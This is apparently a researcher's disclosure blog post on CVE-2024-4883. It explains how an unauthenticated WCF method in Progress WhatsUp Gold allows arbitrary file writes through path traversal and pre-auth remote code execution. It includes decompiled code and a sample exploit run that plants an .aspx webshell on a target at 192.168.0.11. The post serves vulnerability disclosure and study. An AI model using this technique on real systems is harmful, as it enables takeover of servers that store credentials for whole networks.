WhatsUp Gold Pre-Auth RCE WriteDataFile Primitive
CVE-2024-4883
TLDR
Previously I discovered a path traversal and now here is another unauthenticated path traversal against the latest version of progress whatsup gold and I also turned it into a pre-auth RCE, following is how I did it
Introduction (yet another TLDR)
Here we go, April 24th I reported a path traversal vulnerability that leads to unauthenticated remote code execution against the latest version of progress whatsup gold. July 3rd the good folks of ZDI published the related advisory.
What is WhatsUp Gold
At the time, one of many definitions for this product on the vendor’s website is:
WhatsUp Gold provides complete visibility into the status and performance of applications, network devices and servers in the cloud or on-premises.
but I describe this as a legitimate C2 where you can manage all sorts of victims I mean end-users and have their credentials stored in this software to manage them remotely, for example:
- you can store the SMB creds that will be used to run powershell commands on any end-user computer machine you want
- you can store SSH creds to execute any command you want
- you can store Cisco switches/routers creds to run management commands remotely
- you can, you get the idea
there are multiple purposes for all of this is one is to be able to collect performance information from these endpoints apparently the other is to manage them remotely or as I’d like to say execute commands remotely, here we care about the exploitation and so that’s good enough information to know what things someone might be able to have once this software is popped which probably is your entire network of users/machines/switches/routers that you have added to this software.
Advanced .NET Exploitation
sponsor of today’s PoC drop is me, if you had a hard time understanding this blog post but like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you all you need about .net related vulnerabilities, things like exploiting WCF (Windows communication foundation), complicated deserializations, lots of other clickbait titles and how to pop shellz on .net targets
The Vulnerability
The NmApi.exe
process listens on ports 9642 and 9643, both are used to expose .NET WCF Services, the configuration for these two wcf services has been defined in a .config
file at C:\Program Files (x86)\Ipswitch\WhatsUp\NmAPI.exe.config
Line (3) defines a binding of type netTcpBinding
and at line (4) labels it as NetTcpBinding_ICoreServices
also some other attributes such as different timeout values and quotas are set, then at line (7) the security
attribute for this binding is set to None
,
at line (34) a service
and at line (35) an endpoint is added for this service with its contract
value set to NmAPI.ICoreServices
then at line (60) a baseAddress
is added for this WCF service with the value net.tcp://localhost:9643
lets have a look at the contract implementation of NmAPI.ICoreServices
interface
1: <system.serviceModel>
2: <bindings>
3: <netTcpBinding>
4: <binding name="NetTcpBinding_ICoreServices" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="01:10:00" sendTimeout="00:01:00" transactionFlow="false" transferMode="Buffered" transactionProtocol="OleTransactions" hostNameComparisonMode="StrongWildcard" listenBacklog="10" maxBufferPoolSize="524288" maxBufferSize="99965536" maxConnections="100" maxReceivedMessageSize="99965536" portSharingEnabled="false">
5: <readerQuotas maxDepth="32" maxStringContentLength="99999999" maxArrayLength="999999999" maxBytesPerRead="4096" maxNameTableCharCount="16384"/>
6: <reliableSession ordered="true" inactivityTimeout="00:10:00" enabled="false"/>
7: <security mode="None"/>
8: </binding>
9: </netTcpBinding>
10: <basicHttpBinding>
11: <binding name="BasicHttpBinding_ICoreServices" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="00:10:00" sendTimeout="00:01:00" allowCookies="false" bypassProxyOnLocal="false" hostNameComparisonMode="StrongWildcard" maxBufferSize="9965536" maxBufferPoolSize="524288" maxReceivedMessageSize="9965536" messageEncoding="Text" textEncoding="utf-8" transferMode="Buffered" useDefaultWebProxy="true">
12: <readerQuotas maxDepth="32" maxStringContentLength="999999" maxArrayLength="16384" maxBytesPerRead="4096" maxNameTableCharCount="16384"/>
13: </binding>
14: </basicHttpBinding>
15: </bindings>
16: <behaviors>
17: <endpointBehaviors>
18: <behavior name="webHttpBehavior">
19: <webHttp/>
20: </behavior>
21: </endpointBehaviors>
22: <serviceBehaviors>
23: <behavior name="NmAPI.CoreServicesBehavior">
24: <serviceMetadata httpGetEnabled="false"/>
25: <serviceDebug includeExceptionDetailInFaults="true"/>
26: </behavior>
27: <behavior name="NmAPI.VirtualizationServicesBehavior">
28: <serviceMetadata httpGetEnabled="false"/>
29: <serviceDebug includeExceptionDetailInFaults="true"/>
30: </behavior>
31: </serviceBehaviors>
32: </behaviors>
33: <services>
34: <service behaviorConfiguration="NmAPI.CoreServicesBehavior" name="NmAPI.CoreServices">
35: <endpoint address="" binding="netTcpBinding" bindingConfiguration="NetTcpBinding_ICoreServices" contract="NmAPI.ICoreServices"/>
36: <endpoint address="CoreServices" binding="wsHttpBinding" contract="NmAPI.ICoreServices">
37: <identity>
38: <dns value="localhost"/>
39: </identity>
40: </endpoint>
41: <endpoint address="RecurringReport" binding="basicHttpBinding" contract="NmAPI.IRecurringReportServices">
42: <identity>
43: <dns value="localhost"/>
44: </identity>
45: </endpoint>
46: <endpoint address="DeviceClone" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_ICoreServices" contract="NmAPI.IDeviceCloneServices">
47: <identity>
48: <dns value="localhost"/>
49: </identity>
50: </endpoint>
51: <endpoint address="AlertCenter" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_ICoreServices" contract="NmContracts.AlertCenter.Interfaces.IAlertCenterService">
52: <identity>
53: <dns value="localhost"/>
54: </identity>
55: </endpoint>
56: <!-- <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />-->
57: <host>
58: <baseAddresses>
59: <add baseAddress="http://localhost:9642/NmAPI"/>
60: <add baseAddress="net.tcp://localhost:9643"/>
61: </baseAddresses>
62: </host>
63: </service>
64: <service behaviorConfiguration="NmAPI.VirtualizationServicesBehavior" name="NmAPI.VirtualizationServices">
65: <endpoint address="" behaviorConfiguration="webHttpBehavior" binding="webHttpBinding" contract="NmAPI.IPolicyRetriever"/>
66: <endpoint address="NmAPI/VirtualizationServices/" binding="basicHttpBinding" contract="NmAPI.IVirtualizationServices"/>
67: <!-- <endpoint address="NmAPI/VirtualizationServices/VirtualizationServices/mex" binding="mexHttpBinding" contract="IMetadataExchange" />-->
68: <host>
69: <baseAddresses>
70: <add baseAddress="http://localhost:9676"/>
71: </baseAddresses>
72: </host>
73: </service>
74: </services>
75: <diagnostics>
76: <!-- messageLogging node controls options for the System.ServiceModel.MessageLogging source -->
77: <!-- MSDN documentation: http://msdn.microsoft.com/en-us/library/ms731308.aspx -->
78: <messageLogging logEntireMessage="false" logMalformedMessages="false" logMessagesAtServiceLevel="false" logMessagesAtTransportLevel="false" maxMessagesToLog="1000" maxSizeOfMessageToLog="262144" logKnownPii="false">
79: <filters>
80: <clear/>
81: </filters>
82: </messageLogging>
83: </diagnostics>
84: </system.serviceModel>
Following interface at NmApi.exe!NmAPI.ICoreServices
defines the available methods offered by the target Windows Communication Foundation contract, at line (8) it defines a ServiceContract
named ICoreServices
then multiple OperationContract
are defined, the one we are interested in is the WriteDataFile
contract, now you can notice its declaration at line (42), it expects one argument of type EntityDataFileTransfer
AKA
WUGDataAccess.Core.DataContracts.EntityDataFileTransfer
before we look at the implementation of the contract, lets first understand how this argument is structured
1: using System;
2: using System.ServiceModel;
3: using WUGDataAccess;
4: using WUGDataAccess.Core.DataContracts;
5:
6: namespace NmAPI
7: {
8: [ServiceContract]
9: public interface ICoreServices
10: {
11: [OperationContract]
12: bool WindowsCredentialUsedByFailover(int credentialID);
13:
14: [OperationContract]
15: int WindowsCredentialDeviceUseCount(int credentialID);
16:
17: [OperationContract]
18: CredentialInfo[] GetWindowsCredentialInfo();
19:
20: [OperationContract]
21: EntityWindowsCredential GetWindowsCredential(int credentialID);
22:
23: [OperationContract]
24: EntityWindowsCredential AddWindowsCredential(EntityWindowsCredential windowsCredential);
25:
26: [OperationContract]
27: void UpdateWindowsCredential(EntityWindowsCredential windowsCredential);
28:
29: [OperationContract]
30: void DeleteWindowsCredential(int credentialID);
31:
32: [OperationContract]
33: EntityRegistryValue[] GetFailoverRegistryValues();
34:
35: [OperationContract]
36: void UpdateFailoverRegistryValues(EntityRegistryValue[] values);
37:
38: [OperationContract]
39: EntityFileInfo[] GetDataDirectoryFiles();
40:
41: [OperationContract]
42: void WriteDataFile(EntityDataFileTransfer dataFile);
43:
44: [OperationContract]
45: bool FailoverActive(bool enable);
46: }
47: }
The WUGDataAccess.Core.DataContracts.EntityDataFileTransfer
type has multiple properties:
- line (22) defines the
FileInfo
property which is of typeEntityFileInfo
- line (25) defines the
FileContents
property which is just a byte array
now we need to understand the EntityFileInfo
structure
1: using System;
2: using System.Runtime.Serialization;
3:
4: namespace WUGDataAccess.Core.DataContracts
5: {
6: [DataContract]
7: public class EntityDataFileTransfer : IExtensibleDataObject
8: {
9: public virtual ExtensionDataObject ExtensionData
10: {
11: get
12: {
13: return this.theData;
14: }
15: set
16: {
17: this.theData = value;
18: }
19: }
20:
21: [DataMember]
22: public EntityFileInfo FileInfo { get; set; }
23:
24: [DataMember]
25: public byte[] FileContents { get; set; }
26:
27: private ExtensionDataObject theData;
28: }
29: }
The EntityFileInfo
type has multiple properties but for us, the property at line (25) is important which is the Name
property of type string
now that we understand the EntityDataFileTransfer
and EntityFileInfo
it is time to go back and investigate the WriteDataFile
method
1: using System;
2: using System.Runtime.Serialization;
3:
4: namespace WUGDataAccess.Core.DataContracts
5: {
6: [DataContract]
7: public class EntityFileInfo : IExtensibleDataObject
8: {
9: public virtual ExtensionDataObject ExtensionData
10: {
11: get
12: {
13: return this.theData;
14: }
15: set
16: {
17: this.theData = value;
18: }
19: }
20:
21: [DataMember]
22: public string DirectoryName { get; set; }
23:
24: [DataMember]
25: public string Name { get; set; }
26:
27: [DataMember]
28: public long Length { get; set; }
29:
30: [DataMember]
31: public DateTime LastWriteTime { get; set; }
32:
33: private ExtensionDataObject theData;
34: }
35: }
This method is super simple, it expects one argument named dataFile
which is of type EntityDataFileTransfer
that we discussed earlier, then at line (4) it constructs a path using dataFile.FileInfo.Name
which is under our control, the final path is placed inside the text2
variable, then at line (5) a check is done to ensure if this path exists, and if so, at line (8) the provided byte array inside dataFile.FileContents
is written to this path by calling the File.WriteAllBytes
and passing the text2
for the file path
now if this path doesn’t exist, then the else
clause at line (10) is executed and at line (16) a FileStream
object is created by calling the File.Create
and passing the text2
variable for the file path argument and at line (17) the byte array inside dataFile.FileContents
is written to this file stream starting from 0
and then finally this file stream is closed at line (18)
This gives us a write what where primitive allowing us to achieve Pre-Auth Remote Code Execution ^_^
1: public void WriteDataFile(EntityDataFileTransfer dataFile)
2: {
3: string text = Path.Combine(Directory.GetCurrentDirectory(),
"Data" + dataFile.FileInfo.DirectoryName);
4: string text2 = Path.Combine(text, dataFile.FileInfo.Name);
5: if (File.Exists(text2))
6: {
7: File.SetAttributes(text2, FileAttributes.Archive);
8: File.WriteAllBytes(text2, dataFile.FileContents);
9: }
10: else
11: {
12: if (!Directory.Exists(text))
13: {
14: Directory.CreateDirectory(text);
15: }
16: FileStream fileStream = File.Create(text2);
17: fileStream.Write(dataFile.FileContents, 0, dataFile.FileContents.Count<byte>());
18: fileStream.Close();
19: }
20: File.SetLastWriteTime(text2, dataFile.FileInfo.LastWriteTime);
21: }
Proof of Concept
you can find the exploit at the following github repository you need to compile the exploit yourself, this exploit requires references to multiple files, To make things easier, install WhatsupGold on the development machine, although this is not a hard requirement, FYI the references are:
NmApi.exe
WUGDataAccess.dll
WhatsUpWriteDataFileExploit.exe --target 192.168.0.11 --port 9643 --webshell hax.aspx
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______
|______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | |
______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | |
(*) Progress WhatsUp Gold WriteDataFile Unauthenticated Remote Code Execution (CVE-2024-4883)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/progress-whatsup-gold-WriteDataFile-CVE-2024-4883-RCE
(^_^) Prepare for the Pwnage (^_^)
(*) Connecting to ICoreServices net.tcp://192.168.0.11:9643/
(*) Connection is ready
(*) Using write what where primitive, to plant C:\Program Files (x86)\Ipswitch\WhatsUp\html\NmConsole\eb8e455a-28d2-4628-80cb-ef2d786c8409.aspx
(+) Webshell has been planted at https://192.168.0.11/NmConsole/eb8e455a-28d2-4628-80cb-ef2d786c8409.aspx
ZERO DAY INITIATIVE
If it wasn’t because of the talented team working at the Zero Day Initiative, I wouldn’t bother researching Telerik at all, shout out to all of you people working there to make the internet safer.